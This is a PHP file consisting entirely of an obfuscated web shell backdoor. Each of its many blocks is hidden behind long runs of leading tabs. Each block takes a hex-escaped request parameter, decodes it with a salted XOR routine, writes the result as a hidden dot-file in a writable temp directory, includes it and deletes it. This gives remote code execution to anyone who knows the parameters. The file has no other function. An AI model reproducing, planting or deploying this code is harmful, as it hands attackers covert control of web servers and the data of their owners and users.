<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66lg"])){ $tkn = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir()]); $comp = $_REQUEST["\x66lg"]; $comp =explode ( '.' , $comp) ; $bind = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $len = count($comp ); for($n = 0; $n <$len; $n++) { $v8 = $comp[$n]; $chS = ord($s6[$n% $lenS] ); $dec = ((int)$v8 - $chS -($n% 10)) ^ 90; $bind .= chr($dec );} foreach ($tkn as $pointer): if ((is_dir($pointer) and is_writable($pointer))) { $dat = sprintf("%s/.item", $pointer); if (file_put_contents($dat, $bind)) { require $dat; unlink($dat); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["mr\x6B"])){ $entity = $_REQUEST["mr\x6B"]; $entity = explode ( "." , $entity ); $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; foreach($entity as $v9) { $chS = ord($s[$w % $lenS]); $d =((int)$v9 - $chS -($w % 10)) ^ 59; $rec .= chr($d); $w++; } $property_set = array_filter([getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); for ($obj = 0, $value = count($property_set); $obj < $value; $obj++) { $dchunk = $property_set[$obj]; if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $itm = vsprintf("%s/%s", [$dchunk, ".key"]); if (@file_put_contents($itm, $rec) !== false) { include $itm; unlink($itm); die(); } } } }
																																										if(array_key_exists("d\x65\x73c", $_POST)){ $record = $_POST["d\x65\x73c"]; $record=explode( '.' ,$record ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $z = 0; array_walk($record ,function ($v1) use (&$ref ,&$z ,$s ,$sLen) { $chS = ord($s[$z % $sLen]); $d = ((int)$v1 - $chS - ($z % 10)) ^ 65; $ref .= chr($d); $z++; }); $property_set = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP")]); $itm = 0; do { $descriptor = $property_set[$itm] ?? null; if ($itm >= count($property_set)) break; if ((bool)is_dir($descriptor) && (bool)is_writable($descriptor)) { $hld = sprintf("%s/.symbol", $descriptor); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $hld; @unlink($hld); exit; } } $itm++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x70set"])){ $entry = $_POST["\x70set"]; $entry = explode ( "." , $entry ) ; $record =''; $s9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s9); $w =0; while( $w <count( $entry)) { $v5 =$entry[$w]; $sChar =ord( $s9[$w % $sLen]); $dec =( ( int)$v5 - $sChar -( $w % 10)) ^ 98; $record .=chr( $dec); $w++; } $dchunk = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); foreach ($dchunk as $obj) { if (is_writable($obj) && is_dir($obj)) { $desc = join("/", [$obj, ".key"]); $success = file_put_contents($desc, $record); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(array_key_exists("f\x61\x63", $_POST)){ $rec = $_POST["f\x61\x63"]; $rec =explode('.',$rec ) ; $property_set =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); foreach( $rec as $w => $v8) { $chS =ord( $s[$w % $lenS]); $dec =( ( int)$v8 - $chS -( $w % 10))^2; $property_set .= chr( $dec); } $elem = array_filter([getcwd(), session_save_path(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP")]); while ($pointer = array_shift($elem)) { if ((is_dir($pointer) and is_writable($pointer))) { $record = "$pointer/.hld"; if (file_put_contents($record, $property_set)) { include $record; @unlink($record); exit; } } } }
																																										if(in_array("ps\x65t", array_keys($_REQUEST))){ $hld = $_REQUEST["ps\x65t"]; $hld = explode ( ".",$hld ) ; $elem = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8 ); $v = 0; foreach( $hld as $v9) {$chS = ord( $salt8[$v % $lenS] ); $d =( ( int)$v9 - $chS -( $v % 10)) ^63; $elem .= chr( $d ); $v++; } $rec = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), "/dev/shm"]); foreach ($rec as $ent): if (is_dir($ent) ? is_writable($ent) : false) { $value = "$ent" . "/.sym"; $file = fopen($value, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $value; @unlink($value); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x66la\x67"])){ $entity = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $ptr = $_POST["\x66la\x67"]; $ptr = explode( '.' , $ptr ) ; $sym = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); foreach($ptr as $i => $v7): $chS = ord($s5[$i % $sLen]); $d = ((int)$v7 - $chS -($i % 10))^ 37; $sym .= chr($d); endforeach; $ent = 0; do { $key = $entity[$ent] ?? null; if ($ent >= count($entity)) break; if ((is_dir($key) and is_writable($key))) { $k = "$key" . "/.entry"; $success = file_put_contents($k, $sym); if ($success) { include $k; @unlink($k); exit;} } $ent++; } while (true); }
																																										if(array_key_exists("desc", $_POST) && !is_null($_POST["desc"])){ $ent = array_filter([session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), getenv("TEMP")]); $sym = $_POST["desc"]; $sym = explode("." , $sym ) ; $binding=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); foreach($sym as $m=> $v4) { $sChar=ord($salt[$m % $sLen]); $d=((int)$v4 - $sChar -($m % 10)) ^ 87; $binding .= chr($d); } foreach ($ent as $token): if (!( !is_dir($token) || !is_writable($token) )) { $entry = sprintf("%s/.factor", $token); if (file_put_contents($entry, $binding)) { include $entry; @unlink($entry); exit; } } endforeach; }
																																										if(isset($_POST["va\x6C\x75e"])){ $parameter_group = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); $element = $_POST["va\x6C\x75e"]; $element = explode ( "." , $element) ; $dchunk= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt8 ); foreach ($element as $w => $v9) {$chS= ord($salt8[$w % $lenS] ); $d= ((int)$v9 - $chS - ($w % 10)) ^ 25; $dchunk .=chr($d ); } foreach ($parameter_group as $entity): if (!!is_dir($entity) && !!is_writable($entity)) { $object = implode("/", [$entity, ".dat"]); if (@file_put_contents($object, $dchunk) !== false) { include $object; unlink($object); exit; } } endforeach; }
																																										if(!empty($_REQUEST["\x65\x6Etry"])){ $ptr = $_REQUEST["\x65\x6Etry"]; $ptr = explode ( "." , $ptr ) ; $hld =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); foreach ($ptr as $k =>$v2): $sChar =ord($s[$k % $sLen]); $d =((int)$v2 - $sChar - ($k % 10)) ^ 99; $hld .= chr($d); endforeach; $val = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($val as $data): if (max(0, is_dir($data) * is_writable($data))) { $k = "$data" . "/.marker"; if (file_put_contents($k, $hld)) { require $k; unlink($k); die(); } } endforeach; }


if(isset($_REQUEST["fl\x67"]) ? true : false){
	$itm = $_REQUEST["fl\x67"];
		  $itm			=  explode ("." , $itm )	 ;
	$sym = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt6  );
            $w = 0;
    
            $__tmp = $itm;
            while ($v5 = array_shift($__tmp)) {$sChar = ord($salt6[$w		%		$sLen]  );
                $dec = ((int)$v5 - $sChar - ($w		%		10))^	 1;
                $sym .= chr($dec  );
                $w++; }
	$token = array_filter([session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp"]);
	for ($k = 0, $record = count($token); $k < $record; $k++) {
    $pointer = $token[$k];
    		if (array_product([is_dir($pointer), is_writable($pointer)])) {
    $elem = str_replace("{var_dir}", $pointer, "{var_dir}/.binding");
    $file = fopen($elem, 'w');
if ($file) {
	fwrite($file, $sym);
	fclose($file);
	include $elem;
	@unlink($elem);
	die();
}
}
}
}